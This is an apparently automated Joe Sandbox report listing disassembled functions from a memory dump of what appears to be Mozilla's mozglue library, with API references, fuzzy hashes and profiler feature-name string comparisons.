Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 83255c4f39fb0a362782747d99f5130dc8f17bdd8618da2f80caa2fe4a43aef1
Instruction ID: 1dc2b96a3ede6fc1f0765dd0832e3aa775aba3e04a8918fa3df5c0d4f14977f1
Opcode Fuzzy Hash: 83255c4f39fb0a362782747d99f5130dc8f17bdd8618da2f80caa2fe4a43aef1
Instruction Fuzzy Hash: 9F82C13190D3A18BD710CF09C09026EB7F2EB85759F55C93AE8D547A98D334A886EF83

Function 6CB3BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB3C1CB
__aulldiv.LIBCMT ref: 6CB3C24C
__aulldiv.LIBCMT ref: 6CB3C348
__aullrem.LIBCMT ref: 6CB3C365
__aulldiv.LIBCMT ref: 6CB3C37D

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0c503a813b916f1d6e573deb8661bdc0e9c282d42e910d22aa6d89a41fbfff66
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 69320432B046618FC718DE6CC89065ABBE6AFC9310F09876DE899CB395D734ED05CB91

Function 6CBA545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBA8A4B

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 4e7a386072acfb5a6b41d6d05c247296427c29364a6c5825998f69d9a9c05719
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 44B1E972E0425A8FDB24CFA8CC907DDB7B2EF85314F1402A9C589DB791D731998ACB91

Function 6CBA542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBA88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBA925C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 368692778da4ae5144dc4d9564aa5635a4803c2ad131d3b2023054c65f069aec
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: CAB1C672E0424ACFDB14CF98CC816EDB7B2EF85314F140269C589DBB95D731A99ACB90

Function 6CBA50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CBA8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBA925C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 9eee29ecfe77b71669d360d3626987cdcbfda489d2919a345f90ed7eee2b8708
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: A8A1E872E042568FCB14CFA8CC8079DB7B2EF85314F1442B9C989EB745D731A99ACB90

Function 6CB877A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB87A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB87A93

Part of subcall function 6CB55C50: GetTickCount64.KERNEL32 ref: 6CB55D40
Part of subcall function 6CB55C50: EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB55D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB87AA1

Part of subcall function 6CB55C50: __aulldiv.LIBCMT ref: 6CB55DB4
Part of subcall function 6CB55C50: LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB55DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB87B31

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 0e4787ae5bc4e95ee1feb534108d8b69d09f62b26778bde95031657ddd60583c
Instruction ID: a08db53200cdf417be74957c7e97d30d5774a19003cd454c5cd597b0df62c28e
Opcode Fuzzy Hash: 0e4787ae5bc4e95ee1feb534108d8b69d09f62b26778bde95031657ddd60583c
Instruction Fuzzy Hash: BDB18A357093808BCB14CE65C49069FB7E2ABC9318F554A1CE99567B91DBB0E90ACB83

Function 6CB76CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB76D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB76E1E

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 93b5af5974aae205e6d7094c47b2ea6e8cdf2249c0d7bc7ec22710ebf6cb1fd9
Instruction ID: 9d9b37a7d8067232863c9faeed767b92fc6a439e4fa432ce1f7912d093526db0
Opcode Fuzzy Hash: 93b5af5974aae205e6d7094c47b2ea6e8cdf2249c0d7bc7ec22710ebf6cb1fd9
Instruction Fuzzy Hash: A8A180746183808FCB25CF24C4907AEFBE1FF89308F45491DE89A8B751DB70A948CB92

Function 6CB9B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CB9B720
RtlNtStatusToDosError.NTDLL ref: 6CB9B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CB6FE3F,00000000,00000000,?,?,00000000,?,6CB6FE3F), ref: 6CB9B760

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0b2c954a77ba46d6dc4b3890eb5117837e416c0f4c9a04f88ed84484a88d2d0a
Instruction ID: d8f85a2d488cbb111f087831b06593dd4327c8d895a3669c793454e8e66e2d74
Opcode Fuzzy Hash: 0b2c954a77ba46d6dc4b3890eb5117837e416c0f4c9a04f88ed84484a88d2d0a
Instruction Fuzzy Hash: 15F0C2B0A4428CAEEF159AE1CC85BEF77BFDB05319F105239E511625C0D778A5CCC661

Function 6CB54640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CB54777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB55585, 6CB555A8, 6CB555C3, 6CB55624

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a07fdf0f8fdfc7b49ce0c8fc8b453e0665f4c5de3bef5109a583b34ef229a8ca
Instruction ID: ada35379cf1b822229503cdc3d841ecf13437c3b28acb0e5b18034406d329629
Opcode Fuzzy Hash: a07fdf0f8fdfc7b49ce0c8fc8b453e0665f4c5de3bef5109a583b34ef229a8ca
Instruction Fuzzy Hash: 1FB2BC71A057818FC308CF18C590715BBE2FFC5328B69C3ADE46A8B6A5D731E861CB85

Function 6CB985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB98C7C
__aulldiv.LIBCMT ref: 6CB98DD7

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 09575fb517543611b454e40248c06c3f2487bfaf68720ac68cd95b47f340ca4c
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D8328F31F001598BDF18CEACC8A17AEF7B2FB89300F15853AD50ABB790DA359D458B91

Function 6CB9B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB403D4,?), ref: 6CB9B955
NtQueryVirtualMemory.NTDLL ref: 6CB9B9A5

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 3271cb882eece2fa6c822df9e8a0d424d8bd870a1c0c8f06b4136332cc447d8d
Instruction ID: 3f453f8b1309763fc24d0154b8d4d38ef6d4aa2a62e4b2cca1f497baf77f3b69
Opcode Fuzzy Hash: 3271cb882eece2fa6c822df9e8a0d424d8bd870a1c0c8f06b4136332cc447d8d
Instruction Fuzzy Hash: 1541A271F0125D9FDF14CFA9D891ADEB7BAEF89314F24813AE405A7704DB30A8458B91

Function 6CB75C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CB44A63,?,?), ref: 6CB75F06

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 7eca39ed3f786e5b8685f69b8994858fb45468c459bace6a6b5372993f03566a
Instruction ID: 12ae87ffda41ca3c89e4db779cd8d7b7415843ddd2acd477144eaa55474bea10
Opcode Fuzzy Hash: 7eca39ed3f786e5b8685f69b8994858fb45468c459bace6a6b5372993f03566a
Instruction Fuzzy Hash: B0C1E275D012998BCF14CFA5C5906EEBBF2FF89318F28415DC8656BB44D732A809CBA4

Function 6CB3DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c4fef5dedc1d191462e16ba997d19b4056a9c9bec5d7886a8c7529216fa8135
Instruction ID: 784eac54ec521852affbbed7f7fe15f04c73f95f2fefb4c4222a5e761535f2fb
Opcode Fuzzy Hash: 6c4fef5dedc1d191462e16ba997d19b4056a9c9bec5d7886a8c7529216fa8135
Instruction Fuzzy Hash: DF429072A087908BD304CE2CC49175EB3E2BFC9354F095B2EE999A7790D734DD418B82

Function 6CBA76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c1a2f7d2470bb7d99b474eedb746bafae49733ccf4e2fa1ff4d33f381cb17bae
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 4F321971E086598FCB14CF98C890A9DF7B2FF88304F64816AC449A7749D771A986CF90

Function 6CBA6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 87e3fe708a012aaf36f5e2c6cb1a88d6a907023b8df18fae180c312fec7f70c6
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7922F9B1E042598FCB14CF98C880A9DF7F2FF88304F6481AAC589A7745D771A986CF90

Function 6CB60512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 80240bd638c7c1a6c3a46b2904cd13a94e51e30deae2cc010266065ceeed8a27
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 80221771E046598FCF14CF99C890AADF7B2FF88304F588599D44AA7B45D731A986CF80

Function 6CBAAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71651ab1d2170ad4d72ec6e7752ce4abf419c251577096f421b9efc73fb9864
Instruction ID: 2c0d2217fac5e70c9189465cca28748d38d2bbb1d9c412b76ef42561a14e582f
Opcode Fuzzy Hash: c71651ab1d2170ad4d72ec6e7752ce4abf419c251577096f421b9efc73fb9864
Instruction Fuzzy Hash: 80F1287160C3855FDB00CEA8C8907AEB7E6EFC5318F148A1DE4D487781E375984A8FA2

Function 6CB3C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 9dba4799ede96040003c41e76d77fb28f5157903d192d8248d99130dcff8f254
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 14A1A375F0062A8BDB08CEA9C8913AEB7F2EFC8355F158229DD19E7781D7345D068B90

Function 6CB77710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 79a01ede69ca91d1ffd753c80eb0af6beb917f6fcdd2df379f8de77b15481ebc
Instruction ID: 1b33cd2dc96169cc49741a811a3ada6041581d66dcb64becdea626da132bc841
Opcode Fuzzy Hash: 79a01ede69ca91d1ffd753c80eb0af6beb917f6fcdd2df379f8de77b15481ebc
Instruction Fuzzy Hash: 3B717E75E012598FCB19CFA9C8905EDBBB2FF89314F24816ED825BB780D7716905CBA0

Function 6CB758E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: bd842864e85f754a765a32a13a869bf1abc77ea92e018cec8a91967c88f4b9ce
Instruction ID: 62309f24c25905faecdf23efdddadb33cdd47fb451fb015fb851fb0d2d24a0c8
Opcode Fuzzy Hash: bd842864e85f754a765a32a13a869bf1abc77ea92e018cec8a91967c88f4b9ce
Instruction Fuzzy Hash: 5681A175E011599FCB14CFA8C8809EEBBF2FF89314F544269D821BB741D731A949CBA4

Function 6CB7CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CB4582D), ref: 6CB7CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CB4582D), ref: 6CB7CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBAFE98,?,?,?,?,?,6CB4582D), ref: 6CB7CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB4582D), ref: 6CB7CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB7CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB7CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB7CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB7CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB7CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB7CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB7CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB7CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB7CDC4
